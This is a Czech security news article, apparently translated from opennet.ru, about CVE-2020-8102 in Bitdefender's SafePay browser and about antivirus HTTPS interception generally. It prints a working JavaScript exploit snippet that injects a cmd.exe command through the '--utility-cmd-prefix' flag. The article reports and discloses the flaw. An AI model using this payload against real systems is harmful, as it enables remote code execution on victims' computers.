Zranitelnost v zabezpečeném prohlížeči Bitdefender SafePay vedoucí k provedení kódu.

Vladimir Palant, tvůrce Adblock Plus, odhalil zranitelnost (CVE-2020-8102) ve specializovaném webovém prohlížeči Safepay, založeném na jádře Chromium, který je součástí antivirového balíku Bitdefender Total Security 2020 a zaměřuje se na zvýšení bezpečnosti uživatele při práci na globální síti (například poskytuje dodatečnou izolaci při přístupu k bankám a platebním systémům). Zranitelnost umožňuje webům otevřeným v prohlížeči spouštět libovolný kód na úrovni operačního systému.

Příčina problému spočívá v tom, že antivir Bitdefender provádí místní zachytávání HTTPS provozu prostřednictvím výměny původního TLS certifikátu webu. Na systému klienta je nainstalován dodatečný kořenový certifikát, který skrývá činnost použitého systému pro inspekci provozu. Antivir se vklíní do šifrovaného provozu a na některé stránky vkládá svůj vlastní JavaScript kód pro realizaci funkce Safe Search, a pokud dojde k problémům s certifikátem šifrovaného připojení, nahrazuje stránku s chybou vlastní stránkou. Nová stránka s chybou se vydává za stránku otevřeného serveru, což znamená, že ostatní stránky tohoto serveru mají plný přístup k obsahu, který Bitdefender vkládá.

Při otevření webové stránky pod kontrolou útočníka může tato stránka poslat požadavek XMLHttpRequest a simulovat při odpovědi problém s HTTPS certifikátem, což povede k návratu stránky s chybou, která byla nahrazena Bitdefenderem. Protože stránka s chybou je otevřena v kontextu domény útočníka, může číst obsah nahrazené stránky včetně parametrů Bitdefenderu. Na stránce vložené Bitdefenderem je také přítomen reliační klíč, který umožňuje pomocí interního API Bitdefender spustit samostatnou relaci prohlížeče Safepay, přičemž je možné uvést libovolné příznaky příkazového řádku a dosáhnout spuštění jakýchkoli systémových příkazů pomocí příznaku „—utility-cmd-prefix“. Příklad exploitu (param1 a param2 jsou hodnoty získané ze stránky s chybou):

var request = new XMLHttpRequest();
request.open("POST", Math.random());
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("BDNDSS_B67EA559F21B487F861FDA8A44F01C50", param1);
request.setRequestHeader("BDNDCA_BBACF84D61A04F9AA66019A14B035478", param2);
request.setRequestHeader("BDNDWB_5056E556833D49C1AF4085CB254FC242", "obk.run");
request.setRequestHeader("BDNDOK_4E961A95B7B44CBCA1907D3D3643370D", location.href);
request.send(«data:text/html,nada —utility-cmd-prefix=\»cmd.exe /k whoami & echo\»»);

Zranitelnost v zabezpečeném prohlížeči Bitdefender SafePay vedoucí k provedení kódu.

Připomínáme, že studie provedená v roce 2017 ukázala, že 24 ze 26 testovaných antivirových produktů, které inspektovaly HTTPS provoz prostřednictvím podvržených certifikátů, snižovaly celkovou úroveň bezpečnosti HTTPS připojení.
Aktuální sady šifrovacích algoritmů byly poskytovány pouze v 11 ze 26 produktů. 5 systémů neprovádělo ověřování certifikátů (Kaspersky Internet Security 16 Mac, NOD32 AV 9, CYBERsitter, Net Nanny 7 Win, Net Nanny 7 Mac). Produkty Kaspersky Internet Security a Total Security byly náchylné k útokům CRIME, zatímco produkty AVG, Bitdefender a Bullguard byly vystaveny útokům Logjam a POODLE. Produkt Dr.Web Antivirus 11 umožňuje vrátit se k nedůvěryhodným exportním šifrům (útok FREAK).

Zdroj: opennet.ru

Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery 🔥 Koupit spolehlivý hosting pro webové stránky s ochranou proti DDoS, VPS VDS servery | ProHoster